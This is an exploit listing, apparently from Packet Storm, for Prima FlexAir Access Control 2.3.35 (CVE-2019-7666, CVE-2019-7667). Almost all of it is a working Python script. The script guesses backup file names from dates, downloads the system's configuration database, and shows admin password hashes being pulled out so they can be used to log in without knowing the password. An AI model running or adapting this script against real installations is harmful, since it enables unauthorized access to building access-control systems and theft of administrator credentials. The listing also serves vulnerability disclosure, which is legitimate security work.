Prima FlexAir Access Control 2.3.35 Database Backup Predictable Name

Prima FlexAir Access Control version 2.3.35 database backup predictable name exploit.


MD5 | 1549dfc10ce0890c7b4cd26ea0d2fab6

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#!/usr/bin/env python
# -*- coding: utf8 -*-
#
# Prima FlexAir Access Control 2.3.35 Database Backup Predictable Name Exploit
# Authentication Bypass (Login with MD5 hash)
#
# CVE: CVE-2019-7666, CVE-2019-7667
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# Discovered by Gjoko 'LiquidWorm' Krstic
#
# Older versions: /links/Nova_Config_2019-01-03.bck
# Older versions: /Nova/assets/Nova_Config_2019-01-03.bck
# Newer versions: /links/Nova_Config_2019-01-03_13-53.pdb3
# Fixed versions: 2.4
#
###################################################################################
#
# lqwrm@metalgear:~/stuff/prima$ python exploitDB.py http://192.168.230.17:8080
# [+] Please wait while fetchin the backup config file...
# [+] Found some juice!
# [+] Downloading: http://192.168.230.17:8080/links/Nova_Config_2019-01-07.bck
# [+] Saved as: Nova_Config_2019-01-07.bck-105625.db
# lqwrm@metalgear:~/stuff/prima$ sqlite3 Nova_Config_2019-01-07.bck-105625.db 
# SQLite version 3.22.0 2018-01-22 18:45:57
# Enter ".help" for usage hints.
# sqlite> select usrloginname,usrloginpassword from users where usrid in (1,2);
# superadmin|0dfcfa8cc7fd39d96ffe22dd406b5065
# sysadmin|1af01c4a5a4ec37f451a9feb20a0bbbe
# sqlite> .q
# lqwrm@metalgear:~/stuff/prima$ 
#
###################################################################################
#
# 11.01.2019
#

import os#######
import sys######
import time#####
import requests#

from datetime import timedelta, date
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
    print '[+] Usage: '+piton+' [target]'
    print '[+] Target example 1: http://10.0.0.17:8080'
    print '[+] Target example 2: https://primanova.tld\n'
    sys.exit()

host = sys.argv[1]

def datum(start_date, end_date):
    for n in range(int ((end_date - start_date).days)):
        yield start_date + timedelta(n)

start_date = date(2017, 1, 1)
end_date = date(2019, 12, 30)

print '[+] Please wait while fetchin the backup config file...'

def spinning_cursor():
    while True:
        for cursor in '|/-\\':
            yield cursor

spinner = spinning_cursor()

for mooshoo in datum(start_date, end_date):
    sys.stdout.write(next(spinner))
    sys.stdout.flush()
    time.sleep(0.1)
    sys.stdout.write('\b')
    h = requests.get(host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck', verify=False)
    
    if (h.status_code) == 200:
        print '[+] Found some juice!'
        print '[+] Downloading: '+host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck'
        timestr = time.strftime('%H%M%S')
        time.sleep(1)
        open('Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db', 'wb').write(h.content)
        print '[+] Saved as: Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db'
        sys.exit()

print '[-] No backup for you today. :('

Source: packetstormsecurity.com
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